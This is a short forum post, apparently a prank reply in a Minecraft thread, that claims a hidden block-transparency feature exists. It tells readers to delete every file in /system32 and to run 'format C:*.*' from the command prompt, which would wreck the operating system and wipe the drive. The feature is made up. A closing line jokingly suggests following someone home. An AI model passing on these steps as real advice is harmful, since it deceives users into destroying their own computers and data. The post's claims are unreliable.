Minecraft has native code that lets you alter the transparency of blocks, but it's disabled by default.
This obfuscated dev feature relies on a .dll file to toggle on/off. This is to prevent players from accidentally discovering it.
To re-enable it, simply delete or move all files in /system32 while minecraft is running. Then close minecraft, and restart your computer.
this will enable it for only one time, if you want to toggle the .dll permanently then you have to reformat your C++ libraries.. to do this with minecraft running goto Start Menu, Accessories and then Run. type in CMD to get the Dos screen to come up. then type " format C:*.* "
serious reply to the O.P. - best way is to follow someone home.